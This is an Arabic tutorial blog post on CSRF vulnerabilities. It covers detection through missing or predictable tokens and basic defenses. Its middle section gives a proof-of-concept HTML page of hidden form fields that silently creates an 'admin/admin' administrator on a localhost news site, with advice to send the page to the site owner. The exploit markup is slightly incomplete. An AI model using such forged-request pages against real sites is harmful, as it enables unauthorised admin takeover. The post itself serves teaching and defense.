السلام عليكم
سنتعرف فى هذا المقال على ثغرة csrf
وكيفية اكتشافها واستغلالها
ما هى ثغرة CSRF
هى اختصار ل Cross-Site Request Forgery
وهى معروفة بعدة اسماء اخرى مثل:
XSRF,
“Sea Surf”,
Session Riding
, Hostile Linking.
One-Click attack
ويمكن ان تصنف انها من عائلة ثغرات xss
تقوم هذه الثغرة بإجبار المستخدم على فعل وظيفة غير مرغوب فيها مثلا كإضافة ادمن جديد
او تغيير الباسورد بدون علم المستخدم.
خطورة الثغرة :
هى ثغرة خطيرة بالتأكيد لأنها قد تؤدى الى اختراق الموقع بالكامل
متطلبات الثغرة :
تعتمد بشكل او بأخر على الهندسة الإجتماعية لأنها تتطلب ارسال الرابط الى الضحية
الرابط عبارة عن صفحة ويب بها اكواد خاصة من الموقع المصاب تقوم بإضافة ادمن او تغيير وظيفة فى الموقع
او في عمليات الشراء والبيع أوتغيير الإيميل
اي أنها لها استخدمات واسعة وخطورتها كبيرة .
اكتشاف الثغرة:
اسهل طريقة لفحص الموقع من هذا النوع من الثغرات
هو فحص كل الطلبات المهمة مثل وظائف اضافة الأدمن وتغيير الباسورد
تبحث فيها عن tokens
وهل هي موجودة ام لا ؟ ويمكن توقعها او لا؟
اذا كانت غير موجودة او يمكن توقعها فانتقل الى عملية الإستغلال
مثال:
موقع اخباري يقوم بإضافة اعضاء من الرابط التالى
http://localhost/news/admin.php?action=options&mod=accounts&create=new
افحص السورس كود للصفحة و
(تتغير من موقع الى اخر)استخرج كل الفورم
هذا هو الإستغلال
<html>
<head>
<title> CSRF </title>
</head>
<form method="POST" name="form1" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new">
<input type="hidden" name="accountname" value="admin"/>
<input type="hidden" name="accountemail" value="admin@local.com"/>
<input type="hidden" name="accountpassword1" value="admin"/>
<input type="hidden" name="accountpassword2" value="admin"/>
<input type="hidden" name="accountaccesslevel" value="1"/>
<input type="hidden" name="S1" value="Save"/>
</form>
<form method="GET" name="form2" action="http://localhost/news/js/main.php">
<input type="hidden" name="name" value="value"/>
</form>
</body>
</html>
نقوم بدمج هذا الكود فى صفحة ويب ونرسلها لصاحب الموقع
عندما يفتحها
نقوم الصفحة بإضافة ادمن جديد
user:admin
pass:admin
الحماية من ثغرات csrf
على جانب المستخدم :
لا تفتح اى لينك غير موثوق فيه
تأكد جيدا من اسم الموقع
على جانب الموقع:
لابد من استخدام التوكن لحماية الموقع
هذا كان شرح مبسط للثغرة
اى استفسار لا تترد فى السؤال